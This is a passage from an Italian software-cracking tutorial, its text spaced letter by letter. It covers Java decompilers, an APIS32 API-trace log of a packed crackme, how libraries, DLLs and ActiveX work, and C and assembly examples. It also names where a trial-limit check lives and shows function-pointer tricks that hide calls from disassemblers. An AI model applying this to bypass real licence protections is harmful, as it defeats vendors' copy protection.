di f f i col t a debuggar e pr ogr ammi
scr i t t i con quest o l i nguaggi o.
Smar t Check cost i t ui sce un val i do
ai ut o per quest i casi .


Decafe Pro
Java Decompiler for Windows 95/98/NT
Home page: http://decafe.hypermart.net
Email: decafe@home.com


Si t r at t a di un ot t i mo J ava Decompi l er i n ambi ent e Wi ndows ( al cont r ar i o di J AD
che per ambi ent e DOS) .
Sempl i cement e sel ezi onando un f i l e . cl ass vi ene decompi l at o nel suo . j ava
La ver si one che si t r ova i n gi r o non ha f unzi oni di sal vat aggi o, dr ag n dr op
at t i ve.
Per at t i var l e suf f i ci ent e col l egar si al suo si t o t r ami t e f unzi oni i nt er ne al
pr ogr amma.
















Sempr e nel l ot t i ca che a vol t e i l pr obl ema r el at i vo al f at t o di r eper i r e pi
i nf or mazi oni possi bi l i esi st i no i nf i ni t di ut i l i t y.
Una di quest e API S 32 che per met t e di anal i zzar e l e f unzi oni che un pr ogr amma
r i chi ama.
API S 32 per met t e di aggi unger e nel l a Wi ndows pr i nci pal e l e f unzi oni che si
desi der a t ener e sot t o cont r ol l o.
La scel t a vi ene f at t a sel ezi onando
da f i l e f or ni t i con i l pacchet t o i
qual i cont engono l e f unzi oni
speci f i che di ogni DLL ( ker nel 32,
mapi 32 ecc. )
Mandando i n esecuzi oni i l pr ogr amma
ppossi bi l e veder e qual i f unzi oni
sono st at e chi mat e e a qual e punt o.
Succesi vament e al l esecuzi one
possi bi l e anal i zzar e i l f i l e di LOG
che vi ene cr eat o dal pacchet t o.
Possono esser e r i cavat e f aci l ment e
i nf or mazi oni di f f i ci l ment e
i ndi vi duabi l i i n al t r o modo.
I l seguent e uno spezzone di f i l e
. l og r el at i vo ad un pr ogr amma
anal i zzat o con API S 32.




============= Created by APIS32 v. 2.4 =============

0048C427:GetModuleHandleA(LPSTR:00000000)
0048C42D:GetModuleHandleA = 400000
0048C445:GetModuleFileNameA(HANDLE:00400000,LPSTR:00590020:"t",DWORD:000000FF)
0048C44B:GetModuleFileNameA = 12
0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",DWORD:80000000,DWORD:00
000003,LPDATA:00000000,DWORD:00000003,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = C
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",DWORD:00000000,DWORD:0000
0000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
0048D61D:CreateFileA = FFFFFFFF
0048D6DB:GetWindowsDirectoryA(LPSTR:006BFCAC:"-__w_",DWORD:00000104)
0048D6E1:GetWindowsDirectoryA = A
0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",DWORD:40000000,DWOR
D:00000000,LPDATA:00000000,DWORD:00000002,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = 10
0048CEAF:WriteFile(HANDLE:00000010,LPDATA:006BBBA8,DWORD:00003220,LPDATA:006BBB7
4,LPDATA:00000000)
0048CEB5:WriteFile = 1
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\000E121.TMP",DWORD:00000000,DWORD:00000
000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
0048D61D:CreateFileA = 10
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP")
0048D7DB:DeleteFileA = 1
0048C637:LoadLibraryA(LPSTR:004646DC:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:0046495C:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00464996:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:004649D6:"oleaut32.dll")
0048C63D:LoadLibraryA = 65340000
0048C637:LoadLibraryA(LPSTR:00464A66:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464AC8:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:00464B08:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464ECA:"gdi32.dll")
0048C63D:LoadLibraryA = BFF20000
0048C637:LoadLibraryA(LPSTR:004653B2:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00465D66:"ole32.dll")
0048C63D:LoadLibraryA = 65F00000
0048C637:LoadLibraryA(LPSTR:00465D7E:"comctl32.dll")
0048C63D:LoadLibraryA = BFB70000

Ad esempi o l anal i si f at t a nel l esemmpi o pr ecedent e r el at i va ad un f i l e
pr ot et t o con shr i nk.
Dal f i l e di LOG si possono veder e al cune f unzi oni r i chi mat e dal pr ogr amma.

0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",.
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",.
0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",.
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP").

Debuggando i l f i l e si i ncont r ano l e sol i t e di f f i col t l egat e ai f i l e packat i i n
quant o bi sogner ebbe usar e l a t ecni ca dei dumper per r i usci r e a by- passar e i l
pr obl ema.
Da quest e i st r uzi oni sembr er ebbe che venga cr eat o qual che f i l e cont enent e l e
i st r uzi oni decodi f i cat e con l e qual i vi ene cr eat o i l f i l e da esegui r e.
Ol t r e a quest o dal l osser vazi one di t al i i nf or mazi oni pot r ebbe esser e
sempl i f i cat a l a pr obl emat i ca di i ndi vi duar e l e f unzi oni da ut i l i zzar e nei
br eakpoi nt .


TRA LIBRERIE E ACTIVEX


Esi st ono di ver si l i nguaggi che per met t ono l a pr ogr ammazi one i n ambi ent e Wi ndows
come ad esempi o Vi sual Basi c, Vi sual C++, Vi sual J ava ecc.
J ava i n ef f et t i un caso par t i col ar e i n quant o l a sua l ogi ca di f f er ent e da
quel l a degl i al t r i l i nguaggi .
Ogni l i nguaggi o possi ede i l suo compi l at or e od i nt er pr et e i l qual e dopo aver
esegui t o un anal i si si nt at t i ca e semant i ca t r aduce i l sor gent e or i gi nar i o i n uno
esegui bi l e dal l a macchi na.
J ava possi ede un t r adut t or e i n un byt e code che vi ene i nt er pr et at o da una
macchi na vi r t ual e J ava.
I pr ogr ammi J ava non subi scono una ver a e pr opr i a compi l azi one t ant o che ut i l i t y
come J AD. EXE r i escono a r i gener ar e i sor gent i par t endo dai f i l es . CLASS gener at i
dal compi l at or e.
I ndi pendent ement e dal l a si nt assi del l i nguaggi o mol t e f unzi oni vengono gest i t e
agganci andosi al si st ema del l e Api di Wi ndows.
Tut t i conoscer anno i l concet t o di l i br er i a.
I n pr at i ca dur ant e l a scr i t t ur a del sof t war e capi t a spesso di cr ear e f unzi oni
che possi edono l a car at t er i st i ca di pot er esser e ut i l i zzat e i n pi di una
ci r cost anza.
I n quest o caso i l i nguaggi di pr ogr ammazi one, medi ant e di ver se t ecnol ogi e,
per met t ono l a cr eazi one di quel l e che vengono def i ni t e con i l nome di l i br er i e.
Quest e possono esser e col l egat e ai nost r i pr ogr ammi medi ant e t ecni che di f f er ent i
come ad esempi o quel l e del l e l i br er i e st at i che che devono esser e col l egat e al
sof t war e i n f ase di l i nk.
La cr eazi one di un pr ogr amma esegui bi l e si suddi vi de i n di ver se f asi .
La pr i ma f ase quel l a i n cui i l compi l at or e esegue un anal i si si nt at t i ca e
semant i ca del pr ogr amma segnal andoci event ual i er r or i .
Passat a quest a f ase i l compi l at or e passa i l t est i mone al l i nker i l qual e svol ge
di ver se f unzi oni .
La pr i ma quel l a di cont r ol l ar e se l e f unzi oni che vengono chi amat e sono
pr esent i dent r o al sof t war e.
I n caso negat i vo i ni zi a a r i cer car l e dent r o al l e l i br er i e col l egat e al pr ogr amma
e se non vengono r eper i t e neppur e i n quel punt o al l or a vi ene segnal at o un er r or e
di Unr esol ved ext er nal e l a cr eazi one del modul o esegui bi l e vi ene i nt er r ot t a.
Come di cevo pr i ma possi bi l e speci f i car e che al cune f unzi oni sono pr esent i
dent r o ad una l i br er i a st at i ca l a qual e nor mal ment e possi ede come est ensi one
. LI B.
I l compi l at or e dopo l e sue passat e cr ea dei modul i OBJ i qual i sono modul i
bi nar i i n cui i l codi ce non st at o r i l ocat o ovver o che dent r o al qual e i
r i f er i ment i sono ancor a si mbol i ci .
Quando noi scr i vi amo un pr ogr amma cr eer emo i n modo di r et t o od i ndi r et t o dei
r i chi ami ad i ndi r i zzi o per megl i o di r e a punt i del pr ogr amma che vengono usat i
come r i f er i ment i .
Pot r ebbe esser e un esempi o :

if(valore == 1)
salta_al_punto X;

altre_istruzioni

:punto X

I n quest o caso f acci amo di r et t ament e r i f er i ment o al sal t o i n un punt o che nel
pr ogr amma i n esecuzi one sar ubi cat o ad un cer t o i ndi r i zzo.
I n l i nguaggi o assembl at i vo pot r ebbe esser e una cosa del gener e :

0030:1234 cmp ax, 1 ; Compara ilcontenuto del registro AX con 1
0030:1236 je 0030:1239 ; Se uguale salta a 0030:1239
0030:1238 mov bx, 2 ; Altre istr.
0030:1239 .... ; Indirizzo del salto

I n quest o caso, come di cevo pr i ma, sono i o che r i chi edo di r et t ament e di sal t ar e
ad un cer t o punt o che nel pr ogr amma i ndi co come un si mbol o.
I n quest o caso i o l o chi amo punt o X ma non ho l a pi pal l i da i dea na che
i ndi r i zzo di memor i a f i si co cor r i ponder al moment o del l esecuzi one.
Esi st ono cost r ut t i di l i nguaggi a pi al t o l i vel l o che vengono t r adot t i dal
compi l at or e con al l i nt er no dei r i f er i ment i ad i ndi r i zzi .
Un al t r o esempi o di r i f er i ment i a punt i pr eci si del pr ogr amma l o i l caso i n
cui ci si r i f er i sce a dei val or i che sono sal vat i i n qual che par t e del l a
memor i a.
I n l i nguaggi o C pot r ebbe esser e :

*m_Value = 123;

oppur e i n assembl er :

0030:0002 mov [0030:2345], 123

Nei modul i ogget t o i r i f er i ment i sono ancor a si mbol i ci e non assol ut i come
avvi ene dopo i l car i cament o del pr ogr amma esegui bi l e.
Ci sono cost r ut t i di cer t i l i nguaggi che per se st essi non possi edono l oops o
r i f er i ment i ci cl i ci ad i ndi r i zzi ma che i l compi l at or e t r adur r f acendogl i el i
aver e.
Pr endet e i l caso i n cui si abbi ano due vet t or i di 10 el ement i ci ascuno e che i l
pr obl ema si a quel l o di spost ar e i l cont enut o di ogni el ement o di uno nel suo
cor r i spet t i vo del l al t r o.
Per r i sol ver e i l pr obl ema sar ebbe necessar i o un l oop del t i po:

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];
int indice;

for(indice=0;indice!=10;indice++)
array_due[indice] = array_uno[indice];

I n l i nguaggi o assembl at i vo ci sar anno cont r ol l i medi ant e cmp o si mi l i a e si
esegui r anno j ump ( sal t i ) a cer t i i ndi r i zzi a seconda dei casi .
Esi st ono cost r ut t i che i n l i nguaggi , come ad esempi o i l l i nguaggi o C di pr i ma,
non most r ano car at t er i st i che di al gor i t mi i n cui l e i st r uzi oni non si ano al t r o
che sempl i ci assegnazi oni ma che i l compi l at or e t r adur r a modo del l esempi o di
pr i ma.
Quest o esempi o l o avevo r i por t at o i ni zi al ment e ma l o vogl i o r i por t ar e per f ar e
una compar azi one.
Pr endi amo i l pr ogr amma f at t o con i l ci cl o f or .

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
int i;
for(i=0;i!=10;i++)
array_due[i] = array_uno[i];
}

Or a di amo i l comando che cr ea i l sor gent e assembl er .

Cl /c /Fatest.asm test.c

Et voi l ! !


TITLE test2.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_i$ = -4
_copy_array PROC NEAR
; File test2.c
; Line 5
push ebp
mov ebp, esp
push ecx
; Line 7
mov DWORD PTR _i$[ebp], 0
jmp SHORT $L28
$L29:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$L28:
cmp DWORD PTR _i$[ebp], 10 ; 0000000aH
je SHORT $L30
; Line 8
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR _array_uno[edx*4]
mov DWORD PTR _array_due[ecx*4], eax
jmp SHORT $L29
$L30:
; Line 9
mov esp, ebp
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Or a pr endi amo i l sor gent e i n cui l a copi a avvi ene con l ar i t met i ca dei
punt at or i .

struct X {
int a[10];
};

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}

St esso comando di pr i ma del compi l at or e ed ecco i l sor gent e :

TITLE text.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
push ebp
mov ebp, esp
push esi
push edi
; Line 10
mov ecx, 10 ; 0000000aH
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
; Line 11
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Gi a l i vel l o di l unghezza i l secondo r i sual t a esser e di 927 byt es cont r o i 1174
del pr i mo.
Or a met t i amo i un compar azi one l a per t e del l al gor i t mo el i mi nando l a par t e del l e
di chi ar azi oni dei segment i e dei dat i .


_copy_array PROC NEAR
push ebp
mov ebp, esp
push esi
push edi
mov ecx, 10
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP













_copy_array PROC NEAR
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _i$[ebp], 0
jmp SHORT $L28
$L29:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$L28:
cmp DWORD PTR _i$[ebp], 10
je SHORT $L30
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR
_array_uno[edx*4]
mov DWORD PTR
_array_due[ecx*4], eax
jmp SHORT $L29
$L30:
mov esp, ebp
pop ebp
ret 0
_copy_array ENDP


CON ARITMETICA PUNTATORI CON CICLO FOR

Che ne di t e ! ? Vi st o che i punt at or i poi al l a f i ne non sono neppur e mal e ?
Pr endi amo sempr e ad esempi o i l C i l qual e possi ede un ar i t met i ca degl i i ndi r i zzi
paur osa.
I l i nguaggi a pi al t o l i vel l o t r at t ano l e var i abi l i i n modi pi t r aspar ent i
agl i ut ent i .
I n Basi c ad esempi o se di chi ar o una var i abi l e che cont er r un val or e non mi
dovr pr eoccupar e di dove quest a ubi cat a i n memor i a.
I l C spesso l o pr et ende e spesso di quest o ci si pu avvant aggi ar e per cr ear e
cost r ut t i pot ent i .
Pr ovat e a cr ear e una f unzi one che esegua l a copi a degl i el ement i di due ar r ay,
come nel caso pr ecedent e, usando sol o un assegnazi one.
Segui t e i l r agi onament o :

struct X { int a[10]; }

di chi ar a i n C l a f or mazi one di una f at i di ca st r ut t ur a X che cont i ene un sol o
ar r ay di 10 el ement i ( at t enzi one che non l o al l oca ma che ne def i ni sce sol o l e
car at t er i st i che) .
Successi vament e ho i mi ei due ar r ays:

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

Se a quest o punt o avessi :

&array_due[0]

sar ebbe come di r e l i ndi r i zzo di un i nt er o r el at i vo al pr i mo el ement o di
ar r ay_due.
Se t r amut assi t ut t o i n :

*(&array_due[0])

avei i l cont enut o del l i ndi r i zzo di un i nt er o r el at i vo al pr i mo el ement o di
ar r ay_due ovver o l ogget t o punt at o dal l i ndi r i zzo di ar r ay_uno[ 0] .
Ma se a quest o punt o esegui ssi i l cast ( f or zat ur a) e convi ncessi i l compi l at or e
che l i ndi r i zzo &ar r ay_due[ 0] quel l o di una st r ut t ur a X e non di un i nt er o,
con :

(*((struct X *)&array_due[0]))

sar ebbe come di r e i l cont enut o del l i ndi r i zzo di una st r ut t ur a X.
A quest o punt o f acendo

(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));

di r ei pr endi i l cont enut o al l i ndi r i zzo del l a st r ut t ur a X ar r ay_uno e met t i l o
come cont enut o al l i ndi r i zzo del l a st r ut t ur a X ar r ay_due.
Ed ecco f at t o i l passaggi o dei di eci val or i di un ar r ay dent r o ad un al t r o senza
passar e dal ci cl o f or .
Ma quest o sol o i ndi r et t ament e i n quant o i l compi l at or e cr eer una st r ut t ur a i n
assembl er si mi l e a quel l a che veni va gener at a con i l codi ce i n C vi st o pr i ma,
quel l o del f or ( come abbi amo vi st o pr i ma neppur e t ant o) .
Vedr emo pi avant i i n modo pi appr of ondi t o i l di scor so degl i i ndi r i zzi .
Le f unzi oni dent r o al l e l i br er i e st at i che ( . LI B) sono r acchi use come modul i
. OBJ .
I nf at t i i l . LI B vi ene cr eat o con l ut i l i t y LI B. EXE che pr ende i l . OBJ e l o
accoda i n una f i l e . LI B segando dove si t r ova i n una t abel l a convenzi onal e.
Vol endo pot r emmo t ener e l e nost r e f unzi oni di l i br er i a come modul i . OBJ e
pot r emmo l i nkar l i al nost r o pr ogr amma i n f ase di LI NK.
Un al t r o t i po di l i br er i a quel l a di nami ca l a qual e vi ene i ncl usa nel pr ogr amma
i n f ase di esecuzi one.
Quest e sono quel l e che possi edono come est ensi one . DLL.
Le DLL che cont engono l e f unzi oni r i chi amat e nel nost r o pr ogr amma devono esser e
f or ni t e con i l pr ogr amma esegui bi l e, i n caso cont r ar i o ver r segnal at o un
er r or e.
Negl i ul t i mi anni sono st at e svi l uppat e al t r e t ecni che che per met t ono i l
r i ut i l i zzo bi nar i o del codi ce e pr eci sament e l e met odol ogi e l egat e al l e OLE e a
t ut t i i suoi der i vat i ( met odol ogi e COM, DCOM ecc. )
I n ogni caso dal punt o di vi st a concet t ual e i l pr ogr amma cambi a poco i n quant o
l a di f f er enza i n pr at i ca sol o quel l a di come deve esser e r eper i t a una cer t a
f unzi one r i chi amat a nel sof t war e.
Quest i modul i al moment o del l esecuzi one dovr anno esser e pr esent i i n memor i a.
Nel caso di l i br er i e st at i che quest e vi vono col l egat e al pr ogr amma esegui bi l e
per cui vengono car i cat e al moment o del car i cament o di quest ul t i mo.
Nel caso di DLL quest e dovr anno esser e pr esent i sul si st ema i n qual che posi zi one
dove Wi ndows r i esce a t r ovar l e ( sot t o \ wi dows, sot t o \ wi ndows\ syst em o sot t o
pat ch) .
I n quest o caso i l sof t war e dovr esegui r e i l car i cament o del l a l i br er i a medi ant e
una f unzi one appar t enent e al l e API di Wi ndows e pr eci sament e con LoadLi br ar y.
Le f unzi oni i nser i t e nel l a DLL l et t a ver r anno car i cat e i n memor i a dove i l
sof t war e r i usci r a t r ovar l e e ci r i mar r anno si no ad una chi amat a ad un al t r a
f unzi one Wi ndows ovver o Fr eeLi br ar y l a qual e l i ber er l a memor i a occupat a.
I cont r ol l i Act i veX, ul t i ma evol uzi one by Mi cr osof t dei cont r ol l i Ol e,
possi edono l a vi si one mol t o pi vi ci na ad ogget t i con i ncapsul at i al suo i nt er no
met odi e pr opr i et .
Nor mal ment e quest o t i po di cont r ol l i vengono i ngl obat i al l i nt er no di di al og o
di f or ms dent r o al l e qual i svol gono i l l or o ci cl o di vi t a.
Supponi amo che ci t r ovi amo di nanzi ad un cont r ol l o Act i veX dest i nat o
al l el abor azi one del l e i mmagi ni .
Medi ant e l e apposi t e opzi oni del l I DE ut i l i zzat o per l a st esur a del pr ogr amma
i nser i r emo i l cont r ol l o i n una di al og ed a quest o gl i assegner emo un
i dent i f i cat or e che ci per met t er di veder l o come un ogget t o al l i nt er no del
codi ce.
Gener al ment e l e pr opr i et di un cont r ol l o Act i veX possono esser e set t at e t r ami t e
un apposi t a mascher a di spost a dal cont r ol l o st esso.
Nel l e seguent i i mmagi ni vi ene most r at o l i nser i ment o di un cont r ol l o Act i veX
dent r o ad un pr ogr amma Vi sual C++.
I cont r ol l i devono esser e r egi st r at i
nel si st ema Wi ndows, pr i ma di esser e
ut i l i zzat i , medi ant e l ut i l i t y
r egsvr 32. exe.
Spesso quest o t i po di cont r ol l i
di spongono di r out i nes i nt er ne per
l a ser i al i zzazi one al f i ne di
pr ot egger l e dal l a di vul gazi one non
aut or i zzat a.
I l r i chi amo dei met odi o i l
set t aggi o dei par amet r i avvi ene con
l a si nt assi cl assi ca del met odo ad
ogget t i .
Supponi amo che al moment o
del l i nser i ment o del cont r ol l o l o
chi ami amo m_I maggi ne e che l o st esso
possi eda un met odo chi amat o
Set Capt i on( ) .

La si nt assi sar ebbe :

m_Immagine.SetCaption(Caption text);

I cont r ol l i Act i veX sono uno dei punt i evol ut i vi del l a met odol ogi a OLE cr eat a
dal l a Mi cr osof t passat a at t r aver so, da pr i ma, l e DLL per poi gi unger e ai VBX ed
ar r i var e agl i OCX.
Ri assumendo possi amo di r e che l e f unzi oni of f er t e da l i br er i e possono esser e
cont enut e i n LI B st at i che l e qual i vengono col l egat e al pr ogr amma i n f ase di
l i nk.
Le DLL possono esser e car i cat e dal pr ogr amma t r ami t e f unzi oni i n modo di nami co
al moment o del car i cament o del pr ogr amma.
Gl i Act i veX ver r anno car i cat i aut omat i cament e.
La vi si one di come e quando vengono car i cat e l e f unzi oni est er ne pr esent i i n
quest i modul i i mpor t ant e nel l i st ant e i n cui si esegue i l debug di un
pr ogr amma i n quant o spesso i l t r ace esce da quest o per ent r ar e dent r o ad una di
quest e l i br er i e.
Per quest o mot i vo al cuni di sassembl at or i possi edono dei f l ags che possi bi l e
set t ar e per f ar e i n modo
che i l debugger st esso
i ndi chi l ent r at a e
l usci t a da uno di quest i
modul i .
Nel l i mmagi ne a f i anco
most r at o WDASM 8. 9 e i n
basso possi bi l e veder e i
var i f l ags che i ndi cano se
deve esser e esegui t o un
br eak ent r ando ed uscendo
da una DLL ecc.
Vedr emo pi avant i i l pr obl ema dal punt o di vi st a pr at i co.
Spesso del l e f unzi oni di pr ot ezi one dei pr ogr ammi sono appunt o i nser i t e dent r o a
del l e DLL e non dent r o al codi ce pr i nci pal e del f i l e esegui bi l e.
Ad esempi o nei pr ogr ammi come Vi sual J ++ del l a Mi cr osof t l a l i mi t azi one a 60
gi or ni del di most r at i vo si t uat o dent r o al l a DLL msenv. dl l .
Sempr e l egat a al l ar i t met i ca dei punt at or i possi bi l e t r ovar e al cuni sut t er f ugi
adat t i a f ar per der e l a t est a.
I l seguent e un met odo che i o st esso usavo di ver si anni f .
I n pr at i ca un pr ogr amma compost o da mol t e f unzi oni l e qual i vengono r i chi amat e
dur ant e l esecuzi one del pr ogr amma.
Facendo l esempi o i n Li nguaggi o C pot r emmo aver e :

void function_a(void)
{
...
}

void function_b(void)
{
...
}

...
function_a();
function_b();
...

Sar ebbe possi bi l e f ar e un bel l a cosa sf r ut t ando gl i i ndi r i zzi .
I n pr at i ca si di chi ar a un ar r ay di punt at or i a f unzi oni ai qual i si assegnano
gl i i ndi r i zzi del l e f unzi oni .

void func_a(void);
void func_b(void);

void (*func[])() = { func_a, func_b };

void func_a(void)
{
printf("Uno");
}

void func_b(void)
{
printf("Due");
}
void main(void)
{
(*func[0])();
(*func[1])();
}

Usando l i ndi r i zzament o i n quest o modo capi r et e che f aci l e usar e cal col i su
st r i nghe di codi ci o di copyr i ght come i ndi ci per i ndi r i zzar e l e f unzi oni , per
cui i di sassembl at or i , che r i cost r ui scono l e t abel l e da cui possi bi l e capi r e
qual i sono l e f unzi oni r i chi amat e, vanno i n t i l t ( non vi most r ano i nomi del l e
f unzi oni ) .

GERARCHIA DELLE FUNZIONI

Abbi amo det t o che mol t e f unzi oni usat e dai l i nguaggi convenzi onal i sono
r esi dent i dent r o a quel l e chi amat e l i br er i e.
Ho det t o r el at i ve ai l i nguaggi convenzi onal i i n modo er r at o vi st o che nessuno ci
vi et a di cr ear ci anche noi l e nost r e l i br er i e per sonal i .
Comunque i n ogni caso senza suppor t ar ci su quest a possi bi l i t gener al ment e l e
f unzi oni che r i si edono i n l i br er i e sono quel l e l egat e ai var i RunTi me.
Nel capi t ol o l egat o agl i i nt er r upt s a al l assembl er ho det t o che i l si st ema
el et t r oni co del si st ema pu esser e vi st o come un cer t o numer o di pr ocessor i
dedi cat i al l e var i e f unzi oni che of f r ono del l e por t e di I / O per per met t er e l a
l or o pr ogr ammazi one.
Quest o l i vel l o i n gener e suf f i ci ent ement e basso t ant o da r ender e compl essa l a
pr oget t azi one l ogi ca e l a pr ogr ammazi one dei sof t war e.
Per r i sol ver e quest o pr obl ema i si st emi st i che hanno pr odot t o i PC hanno f or ni t o
un pr i mo l i vel l o sof t war e gest i t o t r ami t e
i nt er r upt s i qual i f or ni vano del l e
f unzi onal i t di base per l a pr ogr ammazi one
di t al i per i f er i che.
Quest o comunque, i l l i vel l o BI OS, ancor a
suf f i ci ent ement e basso t ant o che l a
Mi cr osof t ha al zat o t al e l i vel l o f or nendo
un si st ema oper at i vo i l qual e sf r ut t ando
t al i ser vi zi ne of f r i va degl i al t r i pi
compl essi ed evol ut i .
Lo st esso di scor so l o possi amo f ar e per
quant o r i guar da l e l i br er i e.
Wi ndows i n cer t e DLL ( user 32. dl l ,
ker nel 32. dl l ecc. ) of f r e un cer t o numer o di
f unzi oni , abbast anza el evat o, che possono
esser e ut i l i zzat e per l a cr eazi one di
pr ogr ammi .
Quest e f unzi oni non sono l egat e ad
al gor i t mi gener al i ma sono dest i nat e
al l i nt er azi one con Wi ndows.
Fanno par t e di quest e f unzi oni come :
Get Dl gI t em, Get Wi ndowText ecc.
Anche i l i nguaggi che ver so l ut ent e
ut i l i zzano al t r e nomencl at ur e per svol ger e
f unzi oni si mi l i spesso si agganci ano al l e
l i br er i e di Wi ndows per l esecuzi one di
cer t e f unzi onal i t .
gi st at o det t o i n al t r o l uogo che
esi st ono due met odi per col l egar si ad un
DLL e pr eci sament e quel l i che seguono.
I l pr i mo quel l o di esegui r e i l l i nk di
una l i br er i a gener al ment e f or ni t a con l a
DLL l a qual e pensa ad esegui r e
l i nt er f acci ament o del nost r o pr ogr amma con
quest ul t i ma.
I l secondo met odo quel l o di esegui r e l a l et t ur a di nami cament e del l a DDL con
f unzi oni t i po LoadLi br ar y.
Una f unzi one at t i va sot t o Wi ndows pu esser e vi st a come i n i st anza per cui dopo
l a cr eazi one del l i nk di nami co possi bi l e cr ear e i st anze di f unzi oni pr esent i
nel l e DLL.
I n ogni caso vedr et e che mol t i ssi me, se non t ut t e, DLL a sua vol t a l eggono
user 32. dl l ecc. t ant o da pot er veder e i l t ut t o come un al ber o ger ar chi co di
col l egament i .
Pot et e veder e qui a f i anco che dal l a DDL VBRUN300 par t ono i l i nk con l e DLL
USER, KERNEL ecc.
Al t r e DLL che non sono al pr i mo l i vel l o al l a f i ne ut i l i zzano f unzi oni cont enut e
i n ker nel 32. dl l e nel l e al t r e di si st ema.
Spesso l i br er i e ut i l i zzat e da pi pr ogr ammi r i si edono i n di r ect or y condi vi se o
dent r o a wi ndows\ syst em.
DLL ut i l i zzat e sol t ant o da si ngol i pr ogr ammi vengono i n gener e posi zi onat e nel l e
st esse di r ect or y dei pr ogr ammi .
La r i cer ca par t e dal l a di r ect or y i n cui si posi zi onat i per segui r e quel l e
i ncl use nel l a speci f i ca PATH del Dos per gi unger e i n wi ndows e wi ndows\ syst em.
Le l i br er i e st at i che i nvece vengono col l egat e i n f ase di l i nk al pr ogr amma e non
sono r esi dent i su f i l e est er ni .
Quest o secondo met odo vi ene ut i l i zzat o i n par t i col ar modo con i vecchi pr ogr ammi
DOS anche se di f at t o anche i n si st emi come nel l e ul t i me ver si oni di Vi sual C++
possi bi l e col l egar e st at i cament e l e l i br er i e MFC.
Tut t e l e f unzi oni ut i l i zzat e nei pr ogr ammi par t ono come f l usso di chi amat e da
quel l a che pot r ebbe esser e def i ni t a come mai n f unct i on.
I n C quest a f unzi one pr ende i l nome di Wi nMai n ment r e i n assembl er pot r emmo
